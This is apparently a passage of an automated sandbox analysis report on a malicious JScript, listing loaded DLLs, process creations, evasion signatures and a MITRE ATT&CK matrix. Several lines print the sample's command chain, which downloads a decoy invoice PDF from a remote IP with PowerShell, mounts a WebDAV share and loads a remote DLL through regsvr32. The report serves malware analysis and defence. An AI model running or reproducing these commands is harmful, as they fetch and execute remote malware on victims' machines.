Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3699.js.csv");ITextStream.WriteLine(" entry:7878 f:vkfrj");ITextStream.WriteLine(" exec:2 f:vkfrj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4937			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4921			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep count: 4921 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4208	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4700	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4700	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1597345453.000001A6696D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1597345453.000001A669739000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2748025110.0000018850258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2746150855.000001884AC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
